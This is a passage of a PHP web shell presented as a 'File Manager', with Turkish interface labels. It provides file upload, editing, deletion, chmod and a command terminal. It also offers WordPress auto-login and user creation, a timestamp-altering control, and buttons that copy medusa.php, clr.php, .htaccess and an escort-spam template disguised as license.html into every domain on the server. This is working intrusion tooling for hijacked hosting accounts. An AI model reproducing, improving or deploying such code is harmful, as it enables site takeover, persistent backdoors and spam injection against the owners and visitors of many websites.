            $viewCommandResult=[
                'type'=>'command',
                'label'=>'$ '.htmlspecialchars($cmd),
                'content'=>htmlspecialchars($specialOutput),
                'filename'=>''
            ];
            array_unshift($_SESSION['terminal_history'], [
                'cmd' => $cmd,
                'time' => date('H:i:s')
            ]);
            $_SESSION['terminal_history'] = array_slice($_SESSION['terminal_history'], 0, 100);
            $terminalHistory = $_SESSION['terminal_history'];
        }
    }

    // ── MULTIPLE FILE UPLOAD ────────────────
    elseif(isset($_FILES['fileToUpload'])){
        $uploaded = 0;
        $failed = 0;
        $uploadErrors = [];
        $files = $_FILES['fileToUpload'];
        $fileCount = count($files['name']);
        
        for($i = 0; $i < $fileCount; $i++) {
            $fileName = basename($files['name'][$i]);
            $tmpName = $files['tmp_name'][$i];
            $targetPath = $currentDirectory.'/'.$fileName;
            
            if(file_exists($targetPath)) {
                @unlink($targetPath);
            }
            
            if(move_uploaded_file($tmpName, $targetPath)) {
                $uploaded++;
            } else {
                $failed++;
                $uploadErrors[] = $fileName;
            }
        }
        
        if($uploaded > 0 && $failed === 0) {
            $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded successfully';
            $statusType = 'success';
        } elseif($uploaded > 0 && $failed > 0) {
            $statusMessage = $uploaded.' file'.($uploaded > 1 ? 's' : '').' uploaded, '.$failed.' failed';
            $statusType = 'error';
        } else {
            $statusMessage = 'Failed to upload: '.implode(', ', $uploadErrors);
            $statusType = 'error';
        }

    }elseif(isset($_POST['folder_name'])&&!empty($_POST['folder_name'])){
        $nf=$currentDirectory.'/'.$_POST['folder_name'];
        if(!file_exists($nf)){mkdir($nf);$statusMessage='Folder created';$statusType='success';}
        else{$statusMessage='Folder already exists';$statusType='error';}

    }elseif(isset($_POST['file_name'])&&!empty($_POST['file_name'])){
        $nf = $currentDirectory.'/'.$_POST['file_name'];
        $ex = file_exists($nf);
        $content = isset($_POST['file_content']) ? $_POST['file_content'] : '';
        
        if(!$ex && empty($content)) {
            $statusMessage = 'Warning: Creating empty file - no content provided';
            $statusType = 'error';
        } else {
            if(file_put_contents($nf, $content) !== false) {
                $statusMessage = $ex ? 'File saved' : 'File created';
                $statusType = 'success';
            } else {
                $statusMessage = 'Failed to save file (permission error)';
                $statusType = 'error';
            }
        }

    }elseif(isset($_POST['delete_file'])){
        $t=$currentDirectory.'/'.$_POST['delete_file'];
        if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$statusMessage=$ok?'Deleted':'Failed to delete';$statusType=$ok?'success':'error';}
        else{$statusMessage='Not found';$statusType='error';}

    }elseif(isset($_POST['bulk_delete'])&&!empty($_POST['selected_items'])){
        $del=0;$fail=0;
        foreach($_POST['selected_items'] as $item){
            $t=$currentDirectory.'/'.basename($item);
            if(file_exists($t)){$ok=is_dir($t)?deleteDirectory($t):unlink($t);$ok?$del++:$fail++;}
        }
        $statusMessage="Deleted $del item(s)".($fail?", $fail failed":'');
        $statusType=$fail?'error':'success';

    }elseif(isset($_POST['rename_item'])&&isset($_POST['old_name'])&&isset($_POST['new_name'])){
        $on=$currentDirectory.'/'.$_POST['old_name'];
        $nn=$currentDirectory.'/'.$_POST['new_name'];
        if(file_exists($on)){if(rename($on,$nn)){$statusMessage='Renamed successfully';$statusType='success';}else{$statusMessage='Rename failed';$statusType='error';}}
        else{$statusMessage='Not found';$statusType='error';}

    }elseif(isset($_POST['chmod_file'])&&isset($_POST['chmod_value'])){
        $t=$currentDirectory.'/'.basename($_POST['chmod_file']);
        $mode=octdec($_POST['chmod_value']);
        if(file_exists($t)&&chmod($t,$mode)){$statusMessage='Permissions changed to '.$_POST['chmod_value'];$statusType='success';}
        else{$statusMessage='chmod failed';$statusType='error';}

    }elseif(isset($_POST['zip_file'])){
        $t=$currentDirectory.'/'.basename($_POST['zip_file']);
        $zn=$currentDirectory.'/'.basename($_POST['zip_file']).'.zip';
        if(class_exists('ZipArchive')){
            $zip=new ZipArchive();
            if($zip->open($zn,ZipArchive::CREATE)===TRUE){
                if(is_dir($t)){$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($t,RecursiveDirectoryIterator::SKIP_DOTS));foreach($it as $f)$zip->addFile($f->getRealPath(),basename($t).'/'.$it->getSubPathname());}
                else{$zip->addFile($t,basename($t));}
                $zip->close();$statusMessage='Zipped as '.basename($zn);$statusType='success';
            }else{$statusMessage='Failed to create zip';$statusType='error';}
        }else{$statusMessage='ZipArchive not available';$statusType='error';}

    }elseif(isset($_POST['extract_file'])){
        $zp=$currentDirectory.'/'.basename($_POST['extract_file']);
        if(class_exists('ZipArchive')){
            $zip=new ZipArchive();
            if($zip->open($zp)===TRUE){
                $to=$currentDirectory.'/'.pathinfo(basename($zp),PATHINFO_FILENAME);
                $zip->extractTo($to);$zip->close();
                $statusMessage='Extracted to /'.basename($to);$statusType='success';
            }else{$statusMessage='Failed to open zip';$statusType='error';}
        }else{$statusMessage='ZipArchive not available';$statusType='error';}

    }elseif(isset($_POST['view_file'])){
        $fv=$currentDirectory.'/'.$_POST['view_file'];
        if(file_exists($fv)){
            $viewCommandResult=['type'=>'view','label'=>'Viewing: '.htmlspecialchars($_POST['view_file']),'content'=>htmlspecialchars(file_get_contents($fv)),'filename'=>$_POST['view_file']];
        }else{$statusMessage='File not found';$statusType='error';}

    }elseif(isset($_POST['editor_load'])){
        $fv=$currentDirectory.'/'.$_POST['editor_load'];
        if(file_exists($fv)){
            $editorLoad=['filename'=>$_POST['editor_load'],'content'=>file_get_contents($fv)];
        }
    }
}

function deleteDirectory($dir){
    if(!file_exists($dir))return true;if(!is_dir($dir))return unlink($dir);
    foreach(scandir($dir) as $i){if($i=='.'||$i=='..')continue;if(!deleteDirectory($dir.DIRECTORY_SEPARATOR.$i))return false;}
    return rmdir($dir);
}
function formatFileSize($b){
    if($b>=1073741824)return number_format($b/1073741824,2).' GB';
    elseif($b>=1048576)return number_format($b/1048576,2).' MB';
    elseif($b>=1024)return number_format($b/1024,2).' KB';
    elseif($b>1)return $b.' bytes';elseif($b==1)return '1 byte';else return '0 bytes';
}
function extColor($e){
    $m=['php'=>'text-violet-400','js'=>'text-yellow-400','ts'=>'text-blue-400','html'=>'text-orange-400','htm'=>'text-orange-400','css'=>'text-cyan-400','json'=>'text-yellow-300','xml'=>'text-orange-300','sql'=>'text-emerald-400','py'=>'text-blue-300','sh'=>'text-green-400','bash'=>'text-green-400','txt'=>'text-slate-400','md'=>'text-slate-300','zip'=>'text-purple-400','tar'=>'text-purple-400','gz'=>'text-purple-300','jpg'=>'text-pink-400','jpeg'=>'text-pink-400','png'=>'text-pink-400','gif'=>'text-pink-400','svg'=>'text-pink-300','pdf'=>'text-red-400','log'=>'text-amber-400'];
    return $m[$e]??'text-slate-400';
}
function extLang($e){
    $m=['php'=>'php','js'=>'javascript','ts'=>'typescript','html'=>'html','htm'=>'html','css'=>'css','json'=>'json','xml'=>'xml','sql'=>'sql','py'=>'python','sh'=>'bash','bash'=>'bash','md'=>'markdown'];
    return $m[$e]??'plaintext';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/atom-one-dark.min.css">
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
    <script>
        tailwind.config={theme:{extend:{fontFamily:{sans:['Plus Jakarta Sans','sans-serif'],mono:['JetBrains Mono','monospace']},colors:{surface:{900:'#0f172a',950:'#080f1f'}},animation:{'slide-up':'slideUp 0.25s ease-out'},keyframes:{slideUp:{from:{opacity:'0',transform:'translateY(12px)'},to:{opacity:'1',transform:'translateY(0)'}}}}}}
    </script>
    <style>
        body{font-family:'Plus Jakarta Sans',sans-serif;}
        .mono{font-family:'JetBrains Mono',monospace;}
        ::-webkit-scrollbar{width:4px;height:4px;}
        ::-webkit-scrollbar-track{background:transparent;}
        ::-webkit-scrollbar-thumb{background:#475569;border-radius:2px;}
        .modal-open{overflow:hidden;}
        .hljs{background:transparent!important;padding:16px!important;}
        .btn-tool{transition:all 0.2s;}
        .btn-tool:hover{transform:translateY(-1px);}
        
        .wp-btn {
            display: inline-flex;
            align-items: center;
            gap: 4px;
            padding: 4px 10px;
            font-size: 11px;
            font-weight: 500;
            border-radius: 6px;
            transition: all 0.2s ease;
            text-decoration: none;
            font-family: 'Plus Jakarta Sans', sans-serif;
        }
        .wp-btn svg {
            width: 14px;
            height: 14px;
        }
        .wp-admin-btn {
            background: rgba(52, 211, 153, 0.1);
            color: #34d399;
            border: 1px solid rgba(52, 211, 153, 0.2);
        }
        .wp-admin-btn:hover {
            background: rgba(52, 211, 153, 0.2);
            border-color: rgba(52, 211, 153, 0.5);
            transform: translateY(-1px);
        }
        .wp-user-btn {
            background: rgba(139, 92, 246, 0.1);
            color: #a78bfa;
            border: 1px solid rgba(139, 92, 246, 0.2);
        }
        .wp-user-btn:hover {
            background: rgba(139, 92, 246, 0.2);
            border-color: rgba(139, 92, 246, 0.5);
            transform: translateY(-1px);
        }
        .wp-status-dot {
            display: inline-block;
            width: 5px;
            height: 5px;
            border-radius: 50%;
            background: #34d399;
            animation: pulse-dot 1.5s ease-in-out infinite;
        }
        @keyframes pulse-dot {
            0%, 100% { opacity: 0.3; transform: scale(0.8); }
            50% { opacity: 1; transform: scale(1); }
        }
        
        .terminal-history-item {
            padding: 4px 12px;
            border-bottom: 1px solid rgba(255,255,255,0.03);
            font-size: 11px;
            display: flex;
            gap: 12px;
            align-items: center;
        }
        .terminal-history-item .time {
            color: #475569;
            flex-shrink: 0;
            font-size: 10px;
        }
        .terminal-history-item .cmd {
            color: #60a5fa;
            font-weight: 500;
        }
        .terminal-history-item .icon {
            color: #22d3ee;
            font-size: 10px;
        }
        #terminalSuggestions {
            position: absolute;
            bottom: 100%;
            left: 0;
            right: 0;
            background: #0f172a;
            border: 1px solid #334155;
            border-radius: 8px 8px 0 0;
            max-height: 150px;
            overflow-y: auto;
            display: none;
            z-index: 60;
        }
        #terminalSuggestions .suggestion-item {
            padding: 6px 14px;
            cursor: pointer;
            font-size: 12px;
            color: #94a3b8;
            font-family: 'JetBrains Mono', monospace;
            transition: all 0.15s;
        }
        #terminalSuggestions .suggestion-item:hover {
            background: #1e293b;
            color: #e2e8f0;
        }
        #terminalSuggestions .suggestion-item .desc {
            color: #475569;
            font-size: 10px;
            margin-left: 8px;
        }
        
        .domain-badge {
            background: rgba(52, 211, 153, 0.08);
            border: 1px solid rgba(52, 211, 153, 0.15);
            color: #34d399;
            font-size: 9px;
            padding: 1px 6px;
            border-radius: 8px;
            font-family: 'JetBrains Mono', monospace;
        }
        .deploy-btn {
            display: inline-flex;
            align-items: center;
            gap: 4px;
            padding: 3px 8px;
            font-size: 9px;
            font-weight: 500;
            border-radius: 4px;
            transition: all 0.2s ease;
            text-decoration: none;
            font-family: 'Plus Jakarta Sans', sans-serif;
            border: 1px solid transparent;
        }
        .deploy-btn:hover {
            transform: translateY(-1px);
        }
    </style>
</head>
<body class="bg-surface-950 text-slate-100 min-h-screen">

<?php
if($editorLoad!==null){
    echo '<script>window._editorAutoLoad='.json_encode(['filename'=>$editorLoad['filename'],'content'=>$editorLoad['content']]).';</script>';
}
?>

<!-- NAVBAR -->
<nav class="bg-surface-900 border-b border-slate-700/50 sticky top-0 z-40 backdrop-blur-sm">
    <div class="max-w-7xl mx-auto px-4 sm:px-6">
        <div class="flex items-center justify-between h-12">
            <div class="flex items-center gap-2">
                <div class="w-6 h-6 rounded-lg bg-blue-500/20 border border-blue-500/30 flex items-center justify-center">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5 text-blue-400" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M3 7a2 2 0 012-2h4l2 2h8a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2V7z"/></svg>
                </div>
                <span class="font-semibold text-slate-100 text-xs hidden sm:block">FM</span>
                <span class="text-[10px] text-slate-500 hidden sm:block mono">v2.2</span>
                <?php if($detectedDomain): ?>
                <span class="domain-badge hidden sm:inline">🌐 <?php echo htmlspecialchars($detectedDomain); ?></span>
                <?php endif; ?>
            </div>
            <div class="hidden md:flex items-center gap-1">
                <?php if($isWordPress): ?>
                <a href="<?php echo htmlspecialchars($wpAdminUrl); ?>" target="_blank" 
                    onclick="event.preventDefault(); fetch('?wp_auto_login=1').then(()=>{ window.open('<?php echo htmlspecialchars($wpAdminUrl); ?>', '_blank'); });"
                    class="wp-btn wp-admin-btn" title="WP Admin - Otomatik Giriş">
                    <span class="wp-status-dot"></span>
                    <svg fill="currentColor" viewBox="0 0 20 20">
                        <path d="M10 0C4.477 0 0 4.477 0 10c0 5.523 4.477 10 10 10s10-4.477 10-10c0-5.523-4.477-10-10-10zm0 18.75c-4.832 0-8.75-3.918-8.75-8.75S5.168 1.25 10 1.25 18.75 5.168 18.75 10 14.832 18.75 10 18.75z"/>
                        <path d="M10 4.375a5.625 5.625 0 100 11.25 5.625 5.625 0 000-11.25zm0 9.375a3.75 3.75 0 110-7.5 3.75 3.75 0 010 7.5z"/>
                    </svg>
                    Admin
                </a>
                
                <button type="button" onclick="openModal('wpUserModal')" 
                    class="wp-btn wp-user-btn" title="WP Kullanıcı Oluştur/Giriş">
                    <svg fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"/>
                    </svg>
                    User
                </button>
                <?php endif; ?>

                <button type="button" onclick="openModal('createFolderModal')" class="wp-btn text-slate-400 hover:text-white hover:bg-slate-700/50 transition-all">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M9 13h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/></svg>
                    Folder
                </button>
                <button type="button" onclick="openModal('createEditFileModal')" class="wp-btn text-slate-400 hover:text-white hover:bg-slate-700/50 transition-all">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg>
                    File
                </button>
                <button type="button" onclick="openModal('uploadFileModal')" class="wp-btn text-slate-400 hover:text-white hover:bg-slate-700/50 transition-all">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-8l-4-4m0 0L8 8m4-4v12"/></svg>
                    Upload
                </button>
                <button type="button" onclick="openModal('runCommandModal')" class="wp-btn text-rose-400 hover:text-rose-300 hover:bg-rose-500/10 transition-all border border-rose-500/20">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"/></svg>
                    Term
                </button>
                <div class="w-px h-4 bg-slate-700 mx-0.5"></div>
                <form method="post" class="inline">
                    <button type="submit" name="fix_timestamp" value="1" class="wp-btn text-cyan-400 hover:text-cyan-300 hover:bg-cyan-500/10 transition-all" title="Timestamp">
                        <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>
                        <span class="hidden lg:inline text-[10px]">TS</span>
                    </button>
                </form>
                <form method="post" class="inline">
                    <button type="submit" name="clear_cache" value="1" class="wp-btn text-amber-400 hover:text-amber-300 hover:bg-amber-500/10 transition-all" title="Cache">
                        <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/></svg>
                        <span class="hidden lg:inline text-[10px]">Cache</span>
                    </button>
                </form>
                <button type="button" onclick="clearAllDomainsCache()" 
                    class="wp-btn text-emerald-400 hover:text-emerald-300 hover:bg-emerald-500/10 transition-all border border-emerald-500/20" 
                    title="Tüm domainlerin cache'ini temizle">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
                    </svg>
                    <span class="hidden lg:inline text-[10px]">Clear All</span>
                </button>
                
                <!-- ─── DEPLOY BUTONLARI ─── -->
                <button type="button" onclick="deployAllDomains()" 
                    class="wp-btn text-emerald-400 hover:text-emerald-300 hover:bg-emerald-500/10 transition-all border border-emerald-500/20" 
                    title=".htaccess ve index.php'yi TÜM domainlerin public_html'ine kopyala">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9m-5.25-1.5h4.5m-4.5 0L3 12m15-3.75V3.75m0 4.5h-4.5m4.5 0L15 9m4.5-1.5h-4.5m4.5 0L21 6m-6 15h-4.5m4.5 0v-4.5m0 4.5L15 15m-1.5-4.5H9m4.5 0v4.5m0-4.5L21 21"/>
                    </svg>
                    <span class="hidden lg:inline text-[10px]">Deploy</span>
                </button>
                <button type="button" onclick="deployClrPhp()" 
                    class="wp-btn text-amber-400 hover:text-amber-300 hover:bg-amber-500/10 transition-all border border-amber-500/20" 
                    title="clr.php'yi TÜM domainlerin ana dizinine kopyala">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M9 12h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/>
                    </svg>
                    <span class="hidden lg:inline text-[10px]">clr.php</span>
                </button>
                <button type="button" onclick="deployMedusaWpContent()" 
                    class="wp-btn text-pink-400 hover:text-pink-300 hover:bg-pink-500/10 transition-all border border-pink-500/20" 
                    title="medusa.php'yi TÜM domainlerin wp-content/ dizinine kopyala">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M12 4v16m-8-8h16" />
                    </svg>
                    <span class="hidden lg:inline text-[10px]">Medusa</span>
                </button>
                <button type="button" onclick="deployEscortTemplate()" 
                    class="wp-btn text-violet-400 hover:text-violet-300 hover:bg-violet-500/10 transition-all border border-violet-500/20" 
                    title="Tüm domainlere license.html (Bodrum/Muğla escort şablonu) kopyala">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M5 8h14M5 8a2 2 0 110-4h14a2 2 0 110 4M5 8v10a2 2 0 002 2h10a2 2 0 002-2V8m-9 4h4"/>
                    </svg>
                    <span class="hidden lg:inline text-[10px]">Lic</span>
                </button>

                <button type="button" onclick="openModal('permModal')" 
                    class="wp-btn text-cyan-400 hover:text-cyan-300 hover:bg-cyan-500/10 transition-all border border-cyan-500/20" 
                    title="Tüm domainlerde .htaccess ve index.php izinlerini toplu ayarla">
                    <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                        <path stroke-linecap="round" stroke-linejoin="round" d="M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"/>
                    </svg>
                    <span class="hidden lg:inline text-[10px]">Chmod</span>
                </button>

                <form method="post">
                    <button type="submit" name="fm_logout" value="1" class="wp-btn text-slate-500 hover:text-white hover:bg-slate-700/50 transition-all">
                        <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M17 16l4-4m0 0l-4-4m4 4H7m6 4v1a3 3 0 01-3 3H6a3 3 0 01-3-3V7a3 3 0 013-3h4a3 3 0 013 3v1"/></svg>
                        <span class="hidden lg:inline text-[10px]">Exit</span>
                    </button>
                </form>
            </div>
            <button type="button" onclick="toggleMobileMenu()" class="md:hidden p-1 rounded-lg text-slate-400 hover:text-white hover:bg-slate-700/50 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 6h16M4 12h16M4 18h16"/></svg>
            </button>
        </div>
    </div>
    <div id="mobileMenu" class="hidden md:hidden border-t border-slate-700/50">
        <div class="px-3 py-2 grid grid-cols-2 gap-1">
            <?php if($isWordPress): ?>
            <a href="<?php echo htmlspecialchars($wpAdminUrl); ?>" target="_blank" 
                onclick="event.preventDefault(); fetch('?wp_auto_login=1').then(()=>{ window.open('<?php echo htmlspecialchars($wpAdminUrl); ?>', '_blank'); });"
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium bg-emerald-500/10 text-emerald-400 border border-emerald-500/20 hover:bg-emerald-500/20 transition-all">
                <span class="wp-status-dot"></span>
                <svg class="w-3.5 h-3.5" fill="currentColor" viewBox="0 0 20 20">
                    <path d="M10 0C4.477 0 0 4.477 0 10c0 5.523 4.477 10 10 10s10-4.477 10-10c0-5.523-4.477-10-10-10zm0 18.75c-4.832 0-8.75-3.918-8.75-8.75S5.168 1.25 10 1.25 18.75 5.168 18.75 10 14.832 18.75 10 18.75z"/>
                    <path d="M10 4.375a5.625 5.625 0 100 11.25 5.625 5.625 0 000-11.25zm0 9.375a3.75 3.75 0 110-7.5 3.75 3.75 0 010 7.5z"/>
                </svg>
                WP Admin
            </a>
            <button type="button" onclick="openModal('wpUserModal');closeMobileMenu()" 
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium bg-violet-500/10 text-violet-400 border border-violet-500/20 hover:bg-violet-500/20 transition-all">
                <svg class="w-3.5 h-3.5" fill="none" stroke="currentColor" viewBox="0 0 24 24" stroke-width="2">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M16 7a4 4 0 11-8 0 4 4 0 018 0zM12 14a7 7 0 00-7 7h14a7 7 0 00-7-7z"/>
                </svg>
                WP User
            </button>
            <?php endif; ?>
            <button type="button" onclick="openModal('createFolderModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M9 13h6m-3-3v6m-9 1V7a2 2 0 012-2h6l2 2h6a2 2 0 012 2v8a2 2 0 01-2 2H5a2 2 0 01-2-2z"/></svg>Folder</button>
            <button type="button" onclick="openModal('createEditFileModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M11 5H6a2 2 0 00-2 2v11a2 2 0 002 2h11a2 2 0 002-2v-5m-1.414-9.414a2 2 0 112.828 2.828L11.828 15H9v-2.828l8.586-8.586z"/></svg>File</button>
            <button type="button" onclick="openModal('uploadFileModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-slate-300 bg-slate-800/60 hover:bg-slate-700/60 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-8l-4-4m0 0L8 8m4-4v12"/></svg>Upload</button>
            <button type="button" onclick="openModal('runCommandModal');closeMobileMenu()" class="flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-rose-400 bg-rose-500/10 border border-rose-500/20 hover:bg-rose-500/20 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"/></svg>Term</button>
        </div>
        <div class="px-3 pb-2 grid grid-cols-2 gap-1">
            <form method="post"><button type="submit" name="fix_timestamp" value="1" class="w-full flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-cyan-400 bg-cyan-500/10 border border-cyan-500/20 hover:bg-cyan-500/20 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M12 8v4l3 3m6-3a9 9 0 11-18 0 9 9 0 0118 0z"/></svg>TS</button></form>
            <form method="post"><button type="submit" name="clear_cache" value="1" class="w-full flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-amber-400 bg-amber-500/10 border border-amber-500/20 hover:bg-amber-500/20 transition-all"><svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/></svg>Cache</button></form>
            <button type="button" onclick="clearAllDomainsCache();closeMobileMenu()" 
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-emerald-400 bg-emerald-500/10 border border-emerald-500/20 hover:bg-emerald-500/20 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"/>
                </svg>
                Clear All Domains
            </button>
            <button type="button" onclick="deployAllDomains();closeMobileMenu()" 
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-emerald-400 bg-emerald-500/10 border border-emerald-500/20 hover:bg-emerald-500/20 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
                    <path stroke-linecap="round" stroke-linejoin="round" d="M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9m-5.25-1.5h4.5m-4.5 0L3 12m15-3.75V3.75m0 4.5h-4.5m4.5 0L15 9m4.5-1.5h-4.5m4.5 0L21 6m-6 15h-4.5m4.5 0v-4.5m0 4.5L15 15m-1.5-4.5H9m4.5 0v4.5m0-4.5L21 21"/>
                </svg>
                Deploy All
            </button>
            <button type="button" onclick="deployClrPhp();closeMobileMenu()" 
                class="col-span-2 flex items-center justify-center gap-1.5 px-2 py-1.5 rounded-lg text-xs font-medium text-amber-400 bg-amber-500/10 border border-amber-500/20 hover:bg-amber-500/20 transition-all">
                <svg xmlns="http://www.w3.org/2000/svg" class="w-3.5 h-3.5" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2">
